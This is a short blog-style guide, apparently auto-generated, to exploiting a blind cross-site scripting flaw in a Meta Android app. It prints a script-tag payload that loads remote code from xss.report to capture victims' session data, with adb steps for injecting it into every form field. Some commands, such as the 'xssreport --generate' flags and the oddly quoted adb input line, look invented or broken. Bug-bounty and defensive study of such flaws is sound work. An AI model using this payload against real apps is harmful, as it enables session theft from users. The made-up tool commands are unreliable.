Blind XSS Exploitation on Meta’s Android App: A Step-by-Step Guide

In this article, we explore a Blind Cross-Site Scripting (XSS) vulnerability discovered in one of Meta’s Android applications. The target was tested using the Nox emulator, and the exploitation was carried out using tools like xssReport and TruffleSec. Below, we provide a detailed breakdown of the process, along with verified commands and payloads used during the exploitation.

Target Details

• Target Application: [xyz] Android App
• Emulator: Nox
• Tools Used:

1. xssReport

2. TruffleSec

Payload Used

The payload injected into the vulnerable input field was:

'"><script src=https://xss.report/c/{my_account}></script>

This payload triggers the execution of a remote script hosted on xss.report, allowing the attacker to capture sensitive information or perform unauthorized actions.

Steps to Reproduce

1. Set Up Nox Emulator:

Install Nox emulator and configure it to mimic the target Android environment.

nox_adb.exe connect 127.0.0.1:62001

2. Deploy xssReport:

Use xssReport to generate and manage your XSS payloads.

xssreport --generate --payload '"><script src=https://xss.report/c/{my_account}></script>'

3. Inject Payload:

Input the payload into every form field of the target application to identify vulnerable endpoints.

adb shell input text '\'"><script src=https://xss.report/c/{my_account}></script>\'

4. Monitor xssReport Dashboard:

Check the xssReport dashboard for any captured data or successful script executions.

xssreport --monitor --account {my_account}

What Undercode Say

Blind XSS vulnerabilities are a critical threat to web and mobile applications, as they allow attackers to execute malicious scripts in the context of a victim’s session. This article demonstrates the importance of thorough input validation and output encoding to mitigate such risks. Below are additional commands and tools to enhance your cybersecurity practices:

• Linux Command to Monitor Network Traffic:
  Use `tcpdump` to capture and analyze network traffic for suspicious activities.

  sudo tcpdump -i eth0 -w capture.pcap
  

• Windows Command to Check Open Ports:
  Use `netstat` to identify open ports and active connections.

  netstat -an | findstr LISTENING
  

• Automate Vulnerability Scanning with Nmap:
  Use Nmap to scan for open ports and services.

  nmap -sV -p 1-65535 target_ip
  

• Secure Your Web Application:
  Implement Content Security Policy (CSP) headers to prevent XSS attacks.

  add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com";
  

• Practice Ethical Hacking:
  Use platforms like HackerOne or Bugcrowd to legally test your skills and earn bounties.

For further reading on XSS vulnerabilities and prevention techniques, visit:
– OWASP XSS Prevention Cheat Sheet
– xss.report Documentation

By mastering these tools and techniques, you can significantly improve your cybersecurity skills and contribute to a safer digital environment. Always remember to practice ethical hacking and adhere to legal guidelines.

References:

Hackers Feeds, Undercode AI